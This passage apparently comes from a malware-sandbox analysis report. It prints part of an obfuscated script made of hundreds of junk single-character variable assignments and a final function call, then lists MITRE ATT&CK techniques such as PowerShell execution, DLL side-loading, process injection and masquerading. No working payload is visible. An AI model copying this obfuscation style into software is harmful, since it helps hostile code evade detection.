569	vqgsj = "Y";
570	vqgsj = "r";
571	vqgsj = "N";
572	vqgsj = "Q";
573	vqgsj = "F";
574	vqgsj = "R";
575	vqgsj = "m";
576	vqgsj = "U";
577	vqgsj = "P";
578	vqgsj = "x";
579	vqgsj = "r";
580	vqgsj = "o";
581	vqgsj = "X";
582	vqgsj = "t";
583	vqgsj = "W";
584	vqgsj = "W";
585	vqgsj = "W";
586	vqgsj = "J";
587	vqgsj = "m";
588	vqgsj = "v";
589	vqgsj = "F";
590	vqgsj = "w";
591	vqgsj = "K";
592	iuagh = "Y";
593	iuagh = "P";
594	iuagh = "N";
595	iuagh = "Q";
596	iuagh = "b";
597	iuagh = "e";
598	iuagh = "r";
599	iuagh = "L";
600	iuagh = "u";
601	iuagh = "Y";
602	iuagh = "o";
603	iuagh = "z";
604	iuagh = "C";
605	iuagh = "Y";
606	iuagh = "S";
607	iuagh = "N";
608	iuagh = "F";
609	iuagh = "S";
610	iuagh = "Q";
611	iuagh = "a";
612	iuagh = "i";
613	iuagh = "U";
614	iuagh = "I";
615	iuagh = "w";
616	iuagh = "j";
617	iuagh = "V";
618	iuagh = "O";
619	payoxsz = "e";
620	payoxsz = "d";
621	payoxsz = "h";
622	payoxsz = "Q";
623	hbblhei = "d";
624	hbblhei = "g";
625	hbblhei = "q";
626	hbblhei = "o";
627	hbblhei = "o";
628	hbblhei = "j";
629	hbblhei = "a";
630	hbblhei = "B";
631	hbblhei = "Y";
632	hbblhei = "A";
633	hbblhei = "c";
634	hbblhei = "M";
635	hbblhei = "X";
636	hbblhei = "j";
637	hbblhei = "C";
638	hbblhei = "J";
639	hbblhei = "R";
640	hbblhei = "w";
641	qbogdmn = "j";
642	qbogdmn = "v";
643	qbogdmn = "x";
644	qbogdmn = "g";
645	qbogdmn = "F";
646	qbogdmn = "v";
647	qbogdmn = "P";
648	qbogdmn = "D";
649	qbogdmn = "E";
650	qbogdmn = "M";
651	qbogdmn = "m";
652	qbogdmn = "I";
653	qbogdmn = "G";
654	qbogdmn = "e";
655	qbogdmn = "r";
656	qbogdmn = "c";
657	qbogdmn = "h";
658	qbogdmn = "W";
659	qbogdmn = "i";
660	qbogdmn = "F";
661	qbogdmn = "f";
662	qbogdmn = "s";
663	qbogdmn = "e";
664	qbogdmn = "U";
665	ymvwilyb = "R";
666	ymvwilyb = "X";
667	ymvwilyb = "S";
668	ymvwilyb = "P";
669	ymvwilyb = "e";
670	ymvwilyb = "o";
671	ymvwilyb = "j";
672	ymvwilyb = "S";
673	ymvwilyb = "b";
674	ymvwilyb = "R";
675	ymvwilyb = "j";
676	ymvwilyb = "K";
677	ymvwilyb = "C";
678	ymvwilyb = "f";
679	ymvwilyb = "k";
680	ymvwilyb = "c";
681	ymvwilyb = "z";
682	ymvwilyb = " ";
683	xunvxf = "r";
684	xunvxf = "p";
685	xunvxf = "I";
686	xunvxf = "Q";
687	xunvxf = "R";
688	xunvxf = "v";
689	xunvxf = "B";
690	xunvxf = "U";
691	xunvxf = "O";
692	xunvxf = "l";
693	xunvxf = "U";
694	xunvxf = "H";
695	xunvxf = "i";
696	xunvxf = "w";
697	xunvxf = "X";
698	xunvxf = "O";
699	xunvxf = "A";
700	xunvxf = "Z";
701	xunvxf = "x";
702	xunvxf = "z";
703	xunvxf = "e";
704	xunvxf = "q";
705	xunvxf = "B";
706	xunvxf = "Q";
707	xunvxf = "f";
708	xunvxf = "U";
709	xunvxf = "h";
710	xunvxf = "W";
711	xunvxf = "u";
712	xunvxf = "w";
713	xunvxf = "f";
714	xunvxf = "d";
715	xunvxf = "m";
716	xunvxf = "c";
717	xunvxf = "R";
718	xunvxf = "w";
719	xunvxf = "J";
720	xunvxf = "m";
721	koqawnkx = "r";
722	koqawnkx = "j";
723	koqawnkx = "T";
724	koqawnkx = "e";
725	koqawnkx = "r";
726	koqawnkx = "M";
727	koqawnkx = "w";
728	koqawnkx = "r";
729	koqawnkx = "D";
730	koqawnkx = "Y";
731	koqawnkx = "m";
732	koqawnkx = "N";
733	koqawnkx = "f";
734	koqawnkx = "Y";
735	koqawnkx = "j";
736	koqawnkx = "V";
737	koqawnkx = "K";
738	koqawnkx = "t";
739	koqawnkx = "p";
740	koqawnkx = "R";
741	koqawnkx = "b";
742	koqawnkx = "D";
743	koqawnkx = "x";
744	koqawnkx = "W";
745	koqawnkx = "K";
746	koqawnkx = "m";
747	koqawnkx = "A";
748	koqawnkx = "F";
749	koqawnkx = "I";
750	kqsyeg = "S";
751	kqsyeg = "z";
752	kqsyeg = "b";
753	kqsyeg = "o";
754	kqsyeg = "c";
755	kqsyeg = "b";
756	kqsyeg = "V";
757	kqsyeg = "P";
758	kqsyeg = "n";
759	kqsyeg = "K";
760	kqsyeg = "v";
761	kqsyeg = "z";
762	kqsyeg = "y";
763	kqsyeg = "R";
764	kqsyeg = "u";
765	kqsyeg = "O";
766	kqsyeg = "J";
767	kqsyeg = "B";
768	kqsyeg = "T";
769	kqsyeg = "q";
770	kqsyeg = "s";
771	kqsyeg = "v";
772	kqsyeg = "E";
773	kqsyeg = "j";
774	kqsyeg = "t";
775	kqsyeg = "H";
776	kqsyeg = "9";
777	abkfuiu = "w";
778	abkfuiu = "T";
779	nudji = "M";
780	nudji = "r";
781	nudji = "D";
782	nudji = "y";
783	nudji = "N";
784	nudji = "r";
785	nudji = "k";
786	nudji = "D";
787	nudji = "w";
788	nudji = "c";
789	nudji = "h";
790	nudji = "o";
791	nudji = "o";
792	nudji = "y";
793	nudji = "c";
794	nudji = "W";
795	nudji = "v";
796	nudji = "k";
797	nudji = "g";
798	xbqsvzk = "n";
799	xbqsvzk = "p";
800	xbqsvzk = "w";
801	xbqsvzk = "S";
802	xbqsvzk = "R";
803	xbqsvzk = "M";
804	xbqsvzk = "R";
805	xbqsvzk = "i";
806	xbqsvzk = "t";
807	xbqsvzk = "U";
808	xbqsvzk = "j";
809	xbqsvzk = "q";
810	xbqsvzk = "D";
811	xbqsvzk = "P";
812	xbqsvzk = "P";
813	xbqsvzk = "p";
814	xbqsvzk = "o";
815	xbqsvzk = "i";
816	xbqsvzk = "v";
817	xbqsvzk = "O";
818	xbqsvzk = "K";
819	xbqsvzk = "R";
820	xbqsvzk = "y";
821	xbqsvzk = "I";
822	xbqsvzk = "A";
823	xbqsvzk = "G";
824	xbqsvzk = "z";
825	xbqsvzk = "P";
826	xbqsvzk = "y";
827	xbqsvzk = "j";
828	xbqsvzk = "b";
829	nvvtmzl = "l";
830	nvvtmzl = "H";
831	nvvtmzl = "a";
832	nvvtmzl = "X";
833	nvvtmzl = "d";
834	nvvtmzl = "D";
835	nvvtmzl = "J";
836	nvvtmzl = "m";
837	nvvtmzl = "C";
838	nvvtmzl = "k";
839	nvvtmzl = "R";
840	nvvtmzl = "V";
841	nvvtmzl = "m";
842	nvvtmzl = "y";
843	nvvtmzl = "Y";
844	nvvtmzl = "U";
845	nvvtmzl = "y";
846	nvvtmzl = "C";
847	nvvtmzl = "Q";
848	nvvtmzl = "m";
849	nvvtmzl = "J";
850	nvvtmzl = "G";
851	nvvtmzl = "W";
852	nvvtmzl = "M";
853	nvvtmzl = "s";
854	nvvtmzl = "Q";
855	nvvtmzl = "U";
856	nvvtmzl = "A";
857	nvvtmzl = "R";
858	nvvtmzl = "H";
859	nvvtmzl = "z";
860	nvvtmzl = "U";
861	nvvtmzl = "s";
862	nvvtmzl = "x";
863	nvvtmzl = "G";
864	nvvtmzl = "3";
865	xtlslx = "G";
866	xtlslx = "Z";
867	xtlslx = "l";
868	xtlslx = "F";
869	xtlslx = "P";
870	xtlslx = "c";
871	xtlslx = "i";
872	xtlslx = "P";
873	xtlslx = "w";
874	xtlslx = "l";
875	xtlslx = "L";
876	xtlslx = "z";
877	xtlslx = "R";
878	xtlslx = "t";
879	xtlslx = "y";
880	xtlslx = "Z";
881	xtlslx = "u";
882	xtlslx = "U";
883	xtlslx = "O";
884	xtlslx = "x";
885	xtlslx = "n";
886	xtlslx = "J";
887	xtlslx = "P";
888	xtlslx = "Z";
889	xtlslx = "w";
890	xtlslx = "K";
891	xtlslx = "P";
892	xtlslx = "s";
893	xtlslx = "R";
894	xtlslx = "%";
895	uqmoraxf = "F";
896	uqmoraxf = "r";
897	uqmoraxf = "C";
898	uqmoraxf = "T";
899	uqmoraxf = "Z";
900	uqmoraxf = "v";
901	uqmoraxf = "J";
902	uqmoraxf = "j";
903	uqmoraxf = "Y";
904	uqmoraxf = "l";
905	uqmoraxf = "n";
906	uqmoraxf = "B";
907	uqmoraxf = "s";
908	uqmoraxf = "F";
909	uqmoraxf = "l";
910	uqmoraxf = "n";
911	uqmoraxf = "p";
912	uqmoraxf = "n";
913	fcktj = "s";
914	fcktj = "n";
915	fcktj = "W";
916	fcktj = "M";
917	fcktj = "F";
918	fcktj = "F";
919	fcktj = "V";
920	fcktj = "H";
921	fcktj = "F";
922	fcktj = "I";
923	fcktj = "u";
924	fcktj = "c";
925	fcktj = "P";
926	fcktj = "W";
927	fcktj = "K";
928	fcktj = "t";
929	fcktj = "V";
930	fcktj = "P";
931	fcktj = "J";
932	fcktj = "Y";
933	fcktj = "c";
934	fcktj = "c";
935	fcktj = "c";
936	fcktj = "B";
937	fcktj = "E";
938	fcktj = "e";
939	fcktj = "N";
940	fcktj = "V";
941	fcktj = "I";
942	fcktj = "Y";
943	fcktj = "a";
944	fcktj = "y";
945	fcktj = "B";
946	fcktj = "Y";
947	urrbv = "D";
948	urrbv = "T";
949	urrbv = "A";
950	urrbv = "A";
951	urrbv = "I";
952	urrbv = "X";
953	urrbv = "Q";
954	urrbv = "j";
955	urrbv = "H";
956	urrbv = "v";
957	urrbv = "o";
958	urrbv = "V";
959	urrbv = "A";
960	urrbv = "e";
961	urrbv = "r";
962	urrbv = "L";
963	urrbv = "J";
964	urrbv = "e";
965	urrbv = "W";
966	urrbv = "A";
967	urrbv = "m";
968	urrbv = "F";
969	urrbv = "E";
970	urrbv = "C";
971	urrbv = "R";
972	urrbv = "s";
973	urrbv = "P";
974	urrbv = "O";
975	urrbv = "C";
976	urrbv = "M";
977	urrbv = "b";
978	urrbv = "x";
979	urrbv = "v";
980	urrbv = "y";
981	urrbv = "Y";
982	urrbv = "L";
983	ykdkyweq = "I";
984	ykdkyweq = "x";
985	ykdkyweq = "q";
986	ykdkyweq = "u";
987	ykdkyweq = "Y";
988	ykdkyweq = "G";
989	ykdkyweq = "D";
990	ykdkyweq = "G";
991	ykdkyweq = "Q";
992	ykdkyweq = "C";
993	ykdkyweq = "n";
994	ykdkyweq = "H";
995	ykdkyweq = "H";
996	ykdkyweq = "w";
997	ykdkyweq = "D";
998	ykdkyweq = "t";
999	ykdkyweq = "h";
1000	ykdkyweq = "f";
1001	ykdkyweq = "c";
1002	ykdkyweq = "E";
1003	ykdkyweq = "c";
1004	ykdkyweq = "h";
1005	ykdkyweq = "x";
1006	ykdkyweq = "X";
1007	ykdkyweq = "N";
1008	ykdkyweq = "Y";
1009	ykdkyweq = "c";
1010	ykdkyweq = "m";
1011	ykdkyweq = "D";
1012	ykdkyweq = "J";
1013	ykdkyweq = "a";
1014	ykdkyweq = "d";
1015	ykdkyweq = "U";
1016	ykdkyweq = "w";
1017	ykdkyweq = "Y";
1018	ykdkyweq = "J";
1019	ykdkyweq = "K";
1020	ykdkyweq = "l";
1021	autesnyb = "e";
1022	autesnyb = "J";
1023	autesnyb = "M";
1024	autesnyb = "H";
1025	autesnyb = "x";
1026	autesnyb = "t";
1027	autesnyb = "Q";
1028	autesnyb = "R";
1029	autesnyb = "H";
1030	autesnyb = "X";
1031	autesnyb = "u";
1032	autesnyb = "U";
1033	autesnyb = "g";
1034	autesnyb = "a";
1035	autesnyb = "g";
1036	autesnyb = "B";
1037	autesnyb = "O";
1038	autesnyb = "I";
1039	autesnyb = "h";
1040	autesnyb = "R";
1041	autesnyb = "q";
1042	autesnyb = "O";
1043	autesnyb = "I";
1044	autesnyb = "q";
1045	autesnyb = "A";
1046	autesnyb = "V";
1047	autesnyb = "L";
1048	autesnyb = "j";
1049	autesnyb = "O";
1050	autesnyb = "i";
1051	autesnyb = "Q";
1052	autesnyb = "q";
1053	autesnyb = "K";
1054	autesnyb = "a";
1055	autesnyb = "p";
1056	autesnyb = "h";
1057	tdhfp = "j";
1058	tdhfp = "f";
1059	tdhfp = "J";
1060	tdhfp = "W";
1061	tdhfp = "H";
1062	tdhfp = "t";
1063	tdhfp = "l";
1064	tdhfp = "a";
1065	tdhfp = "i";
1066	tdhfp = "T";
1067	tdhfp = "R";
1068	tdhfp = "n";
1069	tdhfp = "K";
1070	tdhfp = "h";
1071	tdhfp = "M";
1072	tdhfp = "x";
1073	tdhfp = "M";
1074	tdhfp = "D";
1075	tdhfp = "T";
1076	tdhfp = "P";
1077	tdhfp = "q";
1078	tdhfp = "T";
1079	tdhfp = "H";
1080	mecuf = "s";
1081	mecuf = "b";
1082	mecuf = "f";
1083	mecuf = "i";
1084	mecuf = "G";
1085	mecuf = "g";
1086	mecuf = "i";
1087	mecuf = "V";
1088	mecuf = "c";
1089	mecuf = "H";
1090	mecuf = "6";
1091	mcdffing = "U";
1092	mcdffing = "H";
1093	mcdffing = "G";
1094	mcdffing = "w";
1095	mcdffing = "l";
1096	mcdffing = "y";
1097	mcdffing = "B";
1098	mcdffing = "h";
1099	mcdffing = "e";
1100	mcdffing = "a";
1101	mcdffing = "e";
1102	mcdffing = "a";
1103	mcdffing = "J";
1104	mcdffing = "h";
1105	mcdffing = "g";
1106	mcdffing = "W";
1107	yiyyyeo = "T";
1108	yiyyyeo = "H";
1109	yiyyyeo = "u";
1110	yiyyyeo = "u";
1111	yiyyyeo = "R";
1112	yiyyyeo = "N";
1113	yiyyyeo = "a";
1114	yiyyyeo = "W";
1115	yiyyyeo = "q";
1116	yiyyyeo = ".";
1117	rhwuqm = "L";
1118	rhwuqm = "J";
1119	rhwuqm = "T";
1120	rhwuqm = "D";
1121	rhwuqm = "A";
1122	rhwuqm = "V";
1123	rhwuqm = "q";
1124	rhwuqm = "P";
1125	rhwuqm = "X";
1126	rhwuqm = "W";
1127	rhwuqm = "b";
1128	rhwuqm = "j";
1129	rhwuqm = "X";
1130	rhwuqm = "c";
1131	rhwuqm = "N";
1132	rhwuqm = "/";
1133	ebcqxkd = "C";
1134	ebcqxkd = "i";
1135	ebcqxkd = "R";
1136	ebcqxkd = "G";
1137	ebcqxkd = "k";
1138	ebcqxkd = "t";
1139	ebcqxkd = "c";
1140	ebcqxkd = "w";
1141	ebcqxkd = "R";
1142	ebcqxkd = "g";
1143	ebcqxkd = "O";
1144	ebcqxkd = "a";
1145	ebcqxkd = "E";
1146	ebcqxkd = "A";
1147	ebcqxkd = "k";
1148	ebcqxkd = "A";
1149	ebcqxkd = "q";
1150	ebcqxkd = "L";
1151	ebcqxkd = "Y";
1152	ebcqxkd = "z";
1153	ebcqxkd = "O";
1154	ebcqxkd = "m";
1155	ebcqxkd = "c";
1156	ebcqxkd = "m";
1157	ebcqxkd = "A";
1158	ebcqxkd = "P";
1159	zdjki = "z";
1160	zdjki = "_";
1161	vlcdmtfm = "u";
1162	xfdbojnlp = "T";
1163	xfdbojnlp = "r";
1164	xfdbojnlp = "I";
1165	xfdbojnlp = "D";
1166	xfdbojnlp = "L";
1167	xfdbojnlp = "B";
1168	xfdbojnlp = "L";
1169	xfdbojnlp = "K";
1170	xfdbojnlp = "m";
1171	xfdbojnlp = "X";
1172	xfdbojnlp = "e";
1173	xfdbojnlp = "a";
1174	emeyu = "r";
1175	emeyu = "A";
1176	emeyu = "T";
1177	emeyu = "h";
1178	emeyu = "q";
1179	emeyu = "Z";
1180	emeyu = "I";
1181	emeyu = "d";
1182	emeyu = "o";
1183	emeyu = "z";
1184	emeyu = "A";
1185	emeyu = "e";
1186	emeyu = "C";
1187	emeyu = "s";
1188	emeyu = "k";
1189	emeyu = "G";
1190	emeyu = "z";
1191	emeyu = "T";
1192	emeyu = "r";
1193	emeyu = "H";
1194	emeyu = "D";
1195	emeyu = "D";
1196	emeyu = "A";
1197	emeyu = "X";
1198	emeyu = "Z";
1199	emeyu = "s";
1200	emeyu = "y";
1201	emeyu = "t";
1202	emeyu = "2";
1203	uxznyx = "a";
1204	uxznyx = "E";
1205	uxznyx = "Y";
1206	uxznyx = "g";
1207	uxznyx = "e";
1208	uxznyx = "b";
1209	uxznyx = "f";
1210	uxznyx = "e";
1211	npbyvjh = "g";
1212	npbyvjh = "o";
1213	npbyvjh = "a";
1214	npbyvjh = "n";
1215	npbyvjh = "e";
1216	npbyvjh = "l";
1217	npbyvjh = "i";
1218	npbyvjh = "p";
1219	npbyvjh = "y";
1220	npbyvjh = "y";
1221	npbyvjh = "n";
1222	npbyvjh = "b";
1223	npbyvjh = "J";
1224	npbyvjh = "r";
1225	npbyvjh = "x";
1226	npbyvjh = "B";
1227	npbyvjh = "b";
1228	npbyvjh = "a";
1229	npbyvjh = "X";
1230	npbyvjh = "s";
1231	npbyvjh = "r";
1232	npbyvjh = "v";
1233	npbyvjh = "k";
1234	npbyvjh = "e";
1235	npbyvjh = "U";
1236	npbyvjh = "k";
1237	npbyvjh = "Q";
1238	npbyvjh = "B";
1239	npbyvjh = "f";
1240	npbyvjh = "h";
1241	npbyvjh = "b";
1242	npbyvjh = "r";
1243	npbyvjh = "d";
1244	npbyvjh = "s";
1245	npbyvjh = "K";
1246	npbyvjh = "y";
1247	npbyvjh = "q";
1248	npbyvjh = "G";
1249	npbyvjh = "w";
1250	npbyvjh = "7";
1251	qysssmq = "U";
1252	qysssmq = "U";
1253	qysssmq = "F";
1254	qysssmq = "k";
1255	qysssmq = "b";
1256	qysssmq = "g";
1257	qysssmq = "r";
1258	qysssmq = "y";
1259	qysssmq = "L";
1260	qysssmq = "p";
1261	qysssmq = "f";
1262	qysssmq = "R";
1263	qysssmq = "Z";
1264	qysssmq = "I";
1265	qysssmq = "R";
1266	qysssmq = "A";
1267	qysssmq = "H";
1268	qysssmq = "u";
1269	qysssmq = "p";
1270	xpggllxhg = "f";
1271	xpggllxhg = "Y";
1272	xpggllxhg = "a";
1273	xpggllxhg = "n";
1274	xpggllxhg = "I";
1275	xpggllxhg = "u";
1276	xpggllxhg = "X";
1277	xpggllxhg = "C";
1278	xpggllxhg = "W";
1279	xpggllxhg = "n";
1280	xpggllxhg = "M";
1281	xpggllxhg = "v";
1282	xpggllxhg = "F";
1283	xpggllxhg = "E";
1284	xpggllxhg = "X";
1285	xpggllxhg = "F";
1286	xpggllxhg = "x";
1287	xpggllxhg = "n";
1288	xpggllxhg = "E";
1289	xpggllxhg = "x";
1290	xpggllxhg = "\\";
1291	ecgkkuzq = "F";
1292	ecgkkuzq = "C";
1293	ecgkkuzq = "P";
1294	ecgkkuzq = "o";
1295	ecgkkuzq = "l";
1296	ecgkkuzq = "q";
1297	ecgkkuzq = "D";
1298	ecgkkuzq = "f";
1299	ecgkkuzq = "z";
1300	ecgkkuzq = "s";
1301	ecgkkuzq = "J";
1302	ecgkkuzq = "J";
1303	ecgkkuzq = "W";
1304	ecgkkuzq = "G";
1305	ecgkkuzq = "f";
1306	ecgkkuzq = "R";
1307	ecgkkuzq = "s";
1308	ecgkkuzq = "F";
1309	ecgkkuzq = "X";
1310	ecgkkuzq = "G";
1311	ecgkkuzq = "T";
1312	ecgkkuzq = "A";
1313	ecgkkuzq = "K";
1314	ecgkkuzq = "i";
1315	ecgkkuzq = "w";
1316	ecgkkuzq = "f";
1317	ecgkkuzq = "X";
1318	ecgkkuzq = "L";
1319	ecgkkuzq = "R";
1320	ecgkkuzq = "B";
1321	ecgkkuzq = "N";
1322	ecgkkuzq = "Q";
1323	ecgkkuzq = "I";
1324	ecgkkuzq = "d";
1325	bcjoygu = "X";
1326	bcjoygu = "p";
1327	bcjoygu = "T";
1328	bcjoygu = "x";
1329	bcjoygu = "P";
1330	bcjoygu = "E";
1331	bcjoygu = "l";
1332	bcjoygu = "h";
1333	bcjoygu = "v";
1334	bcjoygu = "w";
1335	bcjoygu = "u";
1336	bcjoygu = "B";
1337	bcjoygu = "t";
1338	bcjoygu = "H";
1339	bcjoygu = "H";
1340	bcjoygu = "A";
1341	bcjoygu = "U";
1342	bcjoygu = "D";
1343	bcjoygu = "m";
1344	bcjoygu = "Z";
1345	bcjoygu = "n";
1346	bcjoygu = "r";
1347	bcjoygu = "u";
1348	bcjoygu = "e";
1349	bcjoygu = "y";
1350	bcjoygu = "d";
1351	bcjoygu = "L";
1352	bcjoygu = "G";
1353	bcjoygu = "q";
1354	bcjoygu = "H";
1355	bcjoygu = "d";
1356	bcjoygu = "B";
1357	bcjoygu = "X";
1358	bcjoygu = "N";
1359	bcjoygu = "d";
1360	bcjoygu = "N";
1361	bcjoygu = "q";
1362	bcjoygu = "o";
1363	svrabxdxf = "A";
1364	svrabxdxf = "Y";
1365	svrabxdxf = "H";
1366	svrabxdxf = "x";
1367	svrabxdxf = "M";
1368	svrabxdxf = "J";
1369	svrabxdxf = "Z";
1370	svrabxdxf = "C";
1371	svrabxdxf = "K";
1372	svrabxdxf = "F";
1373	svrabxdxf = "a";
1374	svrabxdxf = "P";
1375	svrabxdxf = "B";
1376	svrabxdxf = "f";
1377	svrabxdxf = "L";
1378	svrabxdxf = "P";
1379	svrabxdxf = "E";
1380	svrabxdxf = "l";
1381	svrabxdxf = "n";
1382	svrabxdxf = "K";
1383	svrabxdxf = "L";
1384	svrabxdxf = "L";
1385	svrabxdxf = "o";
1386	svrabxdxf = "f";
1387	tjxke = "J";
1388	tjxke = "B";
1389	tjxke = "F";
1390	tjxke = "B";
1391	tjxke = "y";
1392	tjxke = "R";
1393	tjxke = "O";
1394	tjxke = "F";
1395	tjxke = "b";
1396	tjxke = "I";
1397	tjxke = "T";
1398	tjxke = "i";
1399	tjxke = "Q";
1400	tjxke = "r";
1401	tjxke = "N";
1402	tjxke = "r";
1403	tjxke = "R";
1404	tjxke = "k";
1405	tjxke = "Z";
1406	tjxke = "n";
1407	tjxke = "M";
1408	tjxke = "n";
1409	tjxke = "g";
1410	tjxke = "C";
1411	tjxke = "X";
1412	tjxke = "N";
1413	tjxke = "a";
1414	tjxke = "j";
1415	tjxke = "C";
1416	tjxke = "N";
1417	tjxke = "O";
1418	tjxke = "l";
1419	tjxke = "q";
1420	tjxke = "F";
1421	witgzo = "o";
1422	witgzo = "B";
1423	witgzo = "R";
1424	witgzo = "r";
1425	witgzo = "J";
1426	witgzo = "Q";
1427	witgzo = "I";
1428	witgzo = "r";
1429	witgzo = "c";
1430	witgzo = "T";
1431	witgzo = "r";
1432	witgzo = "y";
1433	witgzo = "X";
1434	witgzo = "Q";
1435	witgzo = "u";
1436	witgzo = "W";
1437	witgzo = "s";
1438	witgzo = "u";
1439	witgzo = "p";
1440	witgzo = "J";
1441	witgzo = "Y";
1442	witgzo = "L";
1443	witgzo = "Q";
1444	witgzo = "h";
1445	witgzo = "j";
1446	witgzo = "U";
1447	witgzo = "C";
1448	witgzo = "J";
1449	witgzo = "r";
1450	witgzo = "e";
1451	witgzo = "h";
1452	witgzo = "o";
1453	witgzo = "T";
1454	witgzo = "8";
1455	lmmxv = "m";
1456	lmmxv = "W";
1457	lmmxv = "S";
1458	lmmxv = "b";
1459	lmmxv = "B";
1460	lmmxv = "P";
1461	lmmxv = "L";
1462	lmmxv = "n";
1463	lmmxv = "U";
1464	lmmxv = "T";
1465	lmmxv = "a";
1466	lmmxv = "n";
1467	lmmxv = "R";
1468	lmmxv = "H";
1469	lmmxv = "m";
1470	lmmxv = "a";
1471	lmmxv = "a";
1472	lmmxv = "F";
1473	lmmxv = "Q";
1474	lmmxv = "Y";
1475	lmmxv = "o";
1476	lmmxv = "h";
1477	lmmxv = "k";
1478	lmmxv = "A";
1479	lmmxv = "r";
1480	lmmxv = "q";
1481	lmmxv = "S";
1482	lmmxv = "u";
1483	lmmxv = "S";
1484	lmmxv = "U";
1485	lmmxv = "r";
1486	yxtpoooaj = "g";
1487	yxtpoooaj = "N";
1488	yxtpoooaj = "U";
1489	yxtpoooaj = "R";
1490	yxtpoooaj = "h";
1491	yxtpoooaj = "J";
1492	yxtpoooaj = "Z";
1493	yxtpoooaj = "B";
1494	yxtpoooaj = "d";
1495	yxtpoooaj = "k";
1496	yxtpoooaj = "n";
1497	yxtpoooaj = "k";
1498	yxtpoooaj = "O";
1499	yxtpoooaj = "Z";
1500	yxtpoooaj = "u";
1501	yxtpoooaj = "t";
1502	yxtpoooaj = "O";
1503	yxtpoooaj = "q";
1504	yxtpoooaj = "A";
1505	yxtpoooaj = "Y";
1506	yxtpoooaj = "g";
1507	yxtpoooaj = "t";
1508	yxtpoooaj = "K";
1509	yxtpoooaj = "R";
1510	yxtpoooaj = "A";
1511	yxtpoooaj = "M";
1512	yxtpoooaj = "A";
1513	yxtpoooaj = "d";
1514	yxtpoooaj = "d";
1515	yxtpoooaj = "O";
1516	yxtpoooaj = "v";
1517	yxtpoooaj = "L";
1518	yxtpoooaj = "L";
1519	yxtpoooaj = "m";
1520	yxtpoooaj = "A";
1521	yxtpoooaj = "c";
1522	yxtpoooaj = "P";
1523	yxtpoooaj = "i";
1524	yxtpoooaj = "v";
1525	jewqtr = "Y";
1526	jewqtr = "Y";
1527	jewqtr = "P";
1528	jewqtr = "m";
1529	jewqtr = "f";
1530	jewqtr = "t";
1531	jewqtr = "O";
1532	jewqtr = "m";
1533	jewqtr = "i";
1534	jewqtr = "m";
1535	jewqtr = "E";
1536	jewqtr = "a";
1537	jewqtr = "l";
1538	jewqtr = "l";
1539	jewqtr = "H";
1540	jewqtr = "l";
1541	jewqtr = "n";
1542	jewqtr = "J";
1543	jewqtr = "u";
1544	jewqtr = "V";
1545	jewqtr = "R";
1546	jewqtr = "Z";
1547	jewqtr = "M";
1548	jewqtr = "q";
1549	jewqtr = "C";
1550	vavkx ( );	vavkx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

